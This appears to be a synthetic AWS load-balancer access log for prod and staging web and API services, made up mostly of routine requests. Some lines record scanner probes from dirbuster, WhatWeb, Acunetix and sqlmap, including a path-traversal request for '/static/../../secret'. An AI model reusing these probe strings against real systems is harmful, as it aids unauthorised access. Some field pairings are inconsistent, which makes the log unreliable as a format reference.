TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8f8-a3fe02a8aef7412a80eb29c0" "staging-alb.example.com" "-" 6 2024-11-01T01:14:16.885005Z "forward" "-" "-" "30.154.59.128:80" "200" "-" "-" -https 2024-11-01T01:14:18.181061Z prod-web-alb 185.181.73.18:21506 10.0.55.97:443 0.071385 0.294396 0.038044 401 401 981 8627 "POST /wp-admin HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8fa-0fd61ed74dad4c589c474536" "-" "-" 0 2024-11-01T01:14:18.181061Z "forward" "-" "-" "10.0.55.97:443" "401" "-" "-" -http 2024-11-01T01:14:19.789660Z staging-alb 23.140.189.40:21194 102.226.18.16:443 0.070188 0.585304 0.036336 200 200 948 4345 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c8fb-594d663e66c74dc3b8df5863" "staging-alb.example.com" "-" 1 2024-11-01T01:14:19.789660Z "forward" "-" "-" "102.226.18.16:443" "200" "-" "-" -https 2024-11-01T01:14:21.596464Z prod-web-alb 38.227.253.234:29011 10.0.180.36:443 0.072324 0.383583 0.096098 200 200 298 6035 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8fd-596f088f2696474faa8f7941" "-" "-" 10 2024-11-01T01:14:21.596464Z "forward" "-" "-" "10.0.180.36:443" "200" "-" "-" -https 2024-11-01T01:14:21.890249Z staging-alb 111.166.170.135:42972 110.210.195.216:443 0.040150 0.565072 0.121833 404 404 782 8846 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8fd-84678dc145c344869761ac3f" "staging-alb.example.com" "-" 2 2024-11-01T01:14:21.890249Z "forward" "-" "-" "110.210.195.216:443" "404" "-" "-" -https 2024-11-01T01:14:22.784818Z prod-web-alb 67.201.18.76:44326 10.0.189.183:443 0.088754 0.474295 0.009461 404 404 546 301 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c8fe-f491ce5ddb9243219d69a34a" "prod-web-alb.example.com" "-" 6 2024-11-01T01:14:22.784818Z "forward" "-" "-" "10.0.189.183:443" "404" "-" "-" -http 2024-11-01T01:14:23.973517Z staging-alb 16.7.19.118:21392 136.107.124.189:443 0.041221 0.620184 0.004091 200 200 500 11996 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c8ff-3e7e10a13cda487d9f35ec03" "staging-alb.example.com" "-" 4 2024-11-01T01:14:23.973517Z "forward" "-" "-" "136.107.124.189:443" "200" "-" "-" -https 2024-11-01T01:14:24.508601Z prod-web-alb 32.201.3.22:27882 10.0.251.201:443 0.037649 0.396389 0.072308 302 302 413 7419 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c900-f6ce2f5ab7674aac961fda0c" "prod-web-alb.example.com" "-" 4 2024-11-01T01:14:24.508601Z "forward" "-" "-" "10.0.251.201:443" "302" "-" "-" -https 2024-11-01T01:14:25.322561Z prod-api-alb 196.147.172.4:44231 10.0.194.82:443 0.037890 0.022155 0.001106 302 302 444 10765 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c901-2c416e35d62c43cfa393dccf" "prod-api-alb.example.com" "-" 9 2024-11-01T01:14:25.322561Z "forward" "-" "-" "10.0.194.82:443" "302" "-" "-" -https 2024-11-01T01:14:27.261654Z prod-api-alb 112.212.222.216:58628 10.0.185.21:443 0.026690 0.329037 0.073750 200 200 28 8080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c903-b7ca4b58e1e2454aa57316b2" "prod-api-alb.example.com" "-" 7 2024-11-01T01:14:27.261654Z "forward" "-" "-" "10.0.185.21:443" "200" "-" "-" -https 2024-11-01T01:14:28.834381Z prod-api-alb 35.63.175.12:50159 10.0.15.176:443 0.098054 0.025020 0.062517 302 302 888 10515 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c904-56ef1b1c2d99463fa3e0f784" "prod-api-alb.example.com" "-" 5 2024-11-01T01:14:28.834381Z "forward" "-" "-" "10.0.15.176:443" "302" "-" "-" -http 2024-11-01T01:14:29.505273Z staging-alb 155.166.31.151:29904 178.69.111.206:80 0.029131 0.695792 0.051045 301 301 910 12199 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c905-9e45fa127394456fa2f7495c" "staging-alb.example.com" "-" 10 2024-11-01T01:14:29.505273Z "forward" "-" "-" "178.69.111.206:80" "301" "-" "-" -https 2024-11-01T01:14:31.372359Z prod-web-alb 128.149.156.229:58531 10.0.154.195:443 0.080823 0.400632 0.046582 302 302 524 12725 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c907-dcc16c1ee6c4484ab261d4f6" "-" "-" 0 2024-11-01T01:14:31.372359Z "forward" "-" "-" "10.0.154.195:443" "302" "-" "-" -https 2024-11-01T01:14:33.259656Z prod-web-alb 222.110.23.11:63602 10.0.153.143:443 0.050759 0.407199 0.040267 200 200 738 10924 "GET /products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c909-bd9b9e9e9f3b4723acbb6092" "-" "-" 1 2024-11-01T01:14:33.259656Z "forward" "-" "-" "10.0.153.143:443" "200" "-" "-" -https 2024-11-01T01:14:35.072040Z prod-api-alb 253.211.159.45:24027 10.0.244.157:443 0.002082 0.335093 0.096713 301 301 749 4133 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c90b-a73b241202414e06ba261297" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:35.072040Z "forward" "-" "-" "10.0.244.157:443" "301" "-" "-" -https 2024-11-01T01:14:36.849945Z prod-web-alb 41.205.195.159:47144 10.0.168.3:443 0.099946 0.202042 0.054900 302 302 914 249 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c90c-f0af287a688141d79bf348d1" "prod-web-alb.example.com" "-" 10 2024-11-01T01:14:36.849945Z "forward" "-" "-" "10.0.168.3:443" "302" "-" "-" -https 2024-11-01T01:14:36.978300Z staging-alb 129.16.201.147:21268 190.143.20.106:8080 0.124641 0.085324 0.108560 404 404 981 10868 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c90c-7c99f4acdb0b40129aa33e6c" "staging-alb.example.com" "-" 1 2024-11-01T01:14:36.978300Z "forward" "-" "-" "190.143.20.106:8080" "404" "-" "-" -http 2024-11-01T01:14:38.169161Z staging-alb 0.4.216.71:11946 101.75.175.139:8080 0.105222 0.422952 0.052045 200 200 564 11779 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c90e-424eae2059b64c8b8cd1e1b1" "staging-alb.example.com" "-" 5 2024-11-01T01:14:38.169161Z "forward" "-" "-" "101.75.175.139:8080" "200" "-" "-" -https 2024-11-01T01:14:39.009326Z prod-web-alb 124.227.116.121:20461 10.0.216.46:443 0.015511 0.122082 0.082100 200 200 211 6913 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c90f-6f4dd88c47194b69bf990c46" "prod-web-alb.example.com" "-" 1 2024-11-01T01:14:39.009326Z "forward" "-" "-" "10.0.216.46:443" "200" "-" "-" -https 2024-11-01T01:14:39.321932Z prod-api-alb 188.172.78.162:40729 10.0.150.89:443 0.053300 0.363931 0.022940 200 200 535 10430 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c90f-faaf593c767d48218d2623d8" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:39.321932Z "forward" "-" "-" "10.0.150.89:443" "200" "-" "-" -https 2024-11-01T01:14:41.117707Z staging-alb 166.53.56.168:45595 158.96.224.198:80 0.055287 0.452480 0.115124 200 200 580 11647 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c911-963a3376ad3a4b3293a6a461" "staging-alb.example.com" "-" 2 2024-11-01T01:14:41.117707Z "forward" "-" "-" "158.96.224.198:80" "200" "-" "-" -https 2024-11-01T01:14:42.283230Z prod-api-alb 99.103.216.37:61395 10.0.102.64:443 0.069408 0.076155 0.025094 200 200 687 1589 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c912-20f0dcd60f32470ebe7fc754" "-" "-" 9 2024-11-01T01:14:42.283230Z "forward" "-" "-" "10.0.102.64:443" "200" "-" "-" -https 2024-11-01T01:14:43.101418Z prod-api-alb 149.95.205.193:56109 10.0.254.108:443 0.007905 0.053309 0.073294 200 200 178 14118 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c913-484bacbd3ba14092aeaa92ed" "prod-api-alb.example.com" "-" 10 2024-11-01T01:14:43.101418Z "forward" "-" "-" "10.0.254.108:443" "200" "-" "-" -https 2024-11-01T01:14:43.354681Z staging-alb 120.180.175.0:51175 7.12.182.98:443 0.068692 0.585845 0.132108 200 200 441 13585 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c913-48c1d331fa924706a90bb7bd" "staging-alb.example.com" "-" 6 2024-11-01T01:14:43.354681Z "forward" "-" "-" "7.12.182.98:443" "200" "-" "-" -https 2024-11-01T01:14:44.621995Z prod-web-alb 7.63.105.75:30704 10.0.215.39:443 0.039132 0.417742 0.066498 200 200 556 3889 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c914-dadc19ced9c947cbb00abaf9" "prod-web-alb.example.com" "-" 10 2024-11-01T01:14:44.621995Z "forward" "-" "-" "10.0.215.39:443" "200" "-" "-" -https 2024-11-01T01:14:45.779358Z prod-web-alb 234.231.73.2:33795 10.0.198.152:443 0.057385 0.446617 0.026370 302 302 951 11908 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c915-04694924b5174990bb7117c0" "prod-web-alb.example.com" "-" 3 2024-11-01T01:14:45.779358Z "forward" "-" "-" "10.0.198.152:443" "302" "-" "-" -http 2024-11-01T01:14:46.047637Z staging-alb 218.165.145.192:63435 22.77.187.41:443 0.071912 0.086969 0.055875 200 200 830 280 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c916-80ac6d735076402c837d2ba3" "staging-alb.example.com" "-" 7 2024-11-01T01:14:46.047637Z "forward" "-" "-" "22.77.187.41:443" "200" "-" "-" -https 2024-11-01T01:14:46.358798Z prod-web-alb 101.58.169.202:22928 10.0.240.123:443 0.071160 0.136897 0.008059 301 301 529 972 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c916-20bf6657472c4feb9854c7d1" "prod-web-alb.example.com" "-" 5 2024-11-01T01:14:46.358798Z "forward" "-" "-" "10.0.240.123:443" "301" "-" "-" -https 2024-11-01T01:14:46.511953Z prod-api-alb 183.169.147.47:51170 10.0.243.9:443 0.048682 0.435894 0.034340 301 301 118 11616 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c916-eea4e15863e14c0093be3b3c" "prod-api-alb.example.com" "-" 6 2024-11-01T01:14:46.511953Z "forward" "-" "-" "10.0.243.9:443" "301" "-" "-" -https 2024-11-01T01:14:46.843932Z prod-api-alb 160.135.255.167:28656 10.0.196.44:443 0.069139 0.003835 0.009180 404 404 747 13195 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c916-79e56dd8265d4332ab25b2a2" "prod-api-alb.example.com" "-" 4 2024-11-01T01:14:46.843932Z "forward" "-" "-" "10.0.196.44:443" "404" "-" "-" -https 2024-11-01T01:14:47.283142Z prod-web-alb 163.147.182.84:58764 10.0.198.183:443 0.086455 0.270260 0.057557 301 301 167 12598 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c917-f784376643c24a62a2908955" "prod-web-alb.example.com" "-" 7 2024-11-01T01:14:47.283142Z "forward" "-" "-" "10.0.198.183:443" "301" "-" "-" -https 2024-11-01T01:14:48.790365Z staging-alb 45.155.205.9:33777 173.53.34.227:80 0.099912 0.508970 0.062258 404 404 817 13934 "POST /metrics HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c918-68122d4579a04b5587b029fc" "-" "-" 7 2024-11-01T01:14:48.790365Z "forward" "-" "-" "173.53.34.227:80" "404" "-" "-" -https 2024-11-01T01:14:50.629260Z prod-api-alb 115.107.91.74:53645 10.0.95.81:443 0.029005 0.098528 0.014232 404 404 303 14138 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c91a-5917028f9bef4075a3493917" "prod-api-alb.example.com" "-" 5 2024-11-01T01:14:50.629260Z "forward" "-" "-" "10.0.95.81:443" "404" "-" "-" -https 2024-11-01T01:14:51.203898Z prod-api-alb 136.22.15.3:39677 10.0.151.239:443 0.055500 0.350544 0.015667 302 302 722 12948 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c91b-9a79b5bf97dd44fcafd7ebc6" "prod-api-alb.example.com" "-" 1 2024-11-01T01:14:51.203898Z "forward" "-" "-" "10.0.151.239:443" "302" "-" "-" -http 2024-11-01T01:14:51.876705Z staging-alb 217.197.194.95:49875 236.93.79.180:80 0.115447 0.586763 0.100462 404 404 558 12235 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c91b-314202a29eb34aafa8943df0" "staging-alb.example.com" "-" 1 2024-11-01T01:14:51.876705Z "forward" "-" "-" "236.93.79.180:80" "404" "-" "-" -http 2024-11-01T01:14:53.244380Z staging-alb 56.53.6.87:48051 43.31.79.131:80 0.027047 0.016878 0.066315 200 200 340 11406 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c91d-1b8db65ed3fe42caba4eb24d" "staging-alb.example.com" "-" 2 2024-11-01T01:14:53.244380Z "forward" "-" "-" "43.31.79.131:80" "200" "-" "-" -https 2024-11-01T01:14:55.222018Z prod-web-alb 205.62.134.197:16152 10.0.99.88:443 0.017256 0.001177 0.066552 200 200 803 8236 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c91f-47d17abbc6f841eabff528b4" "prod-web-alb.example.com" "-" 7 2024-11-01T01:14:55.222018Z "forward" "-" "-" "10.0.99.88:443" "200" "-" "-" -https 2024-11-01T01:14:56.570558Z prod-api-alb 158.147.179.163:19108 10.0.16.31:443 0.082243 0.206711 0.061667 200 200 129 9492 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c920-fe176e0f750f42598809ad75" "prod-api-alb.example.com" "-" 3 2024-11-01T01:14:56.570558Z "forward" "-" "-" "10.0.16.31:443" "200" "-" "-" -https 2024-11-01T01:14:57.305311Z prod-web-alb 30.5.21.194:42581 10.0.243.34:443 0.078909 0.111159 0.037214 301 301 534 14607 "GET /images/logo.png HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c921-34f973b4a37942cf9170129d" "prod-web-alb.example.com" "-" 9 2024-11-01T01:14:57.305311Z "forward" "-" "-" "10.0.243.34:443" "301" "-" "-" -https 2024-11-01T01:14:57.463461Z prod-api-alb 223.85.129.3:15833 10.0.42.18:443 0.083451 0.130245 0.078227 404 404 330 2498 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c921-50da2d538b16414f9cc51ae5" "prod-api-alb.example.com" "-" 2 2024-11-01T01:14:57.463461Z "forward" "-" "-" "10.0.42.18:443" "404" "-" "-" -https 2024-11-01T01:14:59.403193Z prod-api-alb 75.233.222.4:43894 10.0.88.85:443 0.052623 0.360410 0.071367 302 302 678 1583 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c923-a69a7e0f783f4965988a0fff" "prod-api-alb.example.com" "-" 1 2024-11-01T01:14:59.403193Z "forward" "-" "-" "10.0.88.85:443" "302" "-" "-" -https 2024-11-01T01:15:01.196214Z prod-api-alb 131.196.54.221:38597 10.0.78.126:443 0.055190 0.425764 0.058697 200 200 973 13751 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c925-2942816d31124696a04f1309" "prod-api-alb.example.com" "-" 0 2024-11-01T01:15:01.196214Z "forward" "-" "-" "10.0.78.126:443" "200" "-" "-" -https 2024-11-01T01:15:02.704930Z staging-alb 63.104.26.158:28683 253.60.11.137:80 0.082233 0.501461 0.024214 200 200 681 12659 "GET /staging/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c926-ac890996ea4e4fa780f2f161" "staging-alb.example.com" "-" 7 2024-11-01T01:15:02.704930Z "forward" "-" "-" "253.60.11.137:80" "200" "-" "-" -https 2024-11-01T01:15:02.864601Z prod-api-alb 253.246.182.249:25430 10.0.76.64:443 0.036436 0.480113 0.031587 200 200 215 14888 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c926-59e64bcedfac46ca81e66b64" "prod-api-alb.example.com" "-" 10 2024-11-01T01:15:02.864601Z "forward" "-" "-" "10.0.76.64:443" "200" "-" "-" -http 2024-11-01T01:15:04.491078Z staging-alb 54.101.180.2:23889 182.4.213.13:80 0.014812 0.535085 0.017663 404 404 794 6895 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c928-4c6f88ecd59a47db8a64b8eb" "staging-alb.example.com" "-" 3 2024-11-01T01:15:04.491078Z "forward" "-" "-" "182.4.213.13:80" "404" "-" "-" -https 2024-11-01T01:15:04.608881Z prod-api-alb 185.181.160.192:12763 10.0.69.45:443 0.091091 0.103337 0.035512 404 404 878 14868 "GET /static/../../secret HTTP/1.1" "sqlmap/1.6.12 (http://sqlmap.org)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c928-670ec10d13294dfaa82e2fc0" "-" "-" 2 2024-11-01T01:15:04.608881Z "forward" "-" "-" "10.0.69.45:443" "404" "-" "-" -https 2024-11-01T01:15:06.607480Z prod-web-alb 171.147.106.176:23533 10.0.216.234:443 0.075350 0.276344 0.066937 200 200 444 10808 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c92a-8f7aa53d37c448f5949924bf" "prod-web-alb.example.com" "-" 7 2024-11-01T01:15:06.607480Z "forward" "-" "-" "10.0.216.234:443" "200" "-" "-" -https 2024-11-01T01:15:07.776982Z prod-api-alb 214.176.149.191:32122 10.0.150.36:443 0.070550 0.324464 0.062647 404 404 468 9273 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c92b-b10490d2656143b3adc0d35b" "prod-api-alb.example.com" "-" 3 2024-11-01T01:15:07.776982Z "forward" "-" "-" "10.0.150.36:443" "404" "-" "-" -https 2024-11-01T01:15:09.249431Z prod-web-alb 185.181.101.174:32762 10.0.137.107:443 0.075279 0.235164 0.016269 401 401 243 9153 "POST /wp-admin HTTP/1.1" "Acunetix-Agent" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c92d-62474ced2ddc42df97d5f18e" "-" "-" 0 2024-11-01T01:15:09.249431Z "forward" "-" "-" "10.0.137.107:443" "401" "-" "-" -https 2024-11-01T01:15:09.484148Z prod-web-alb 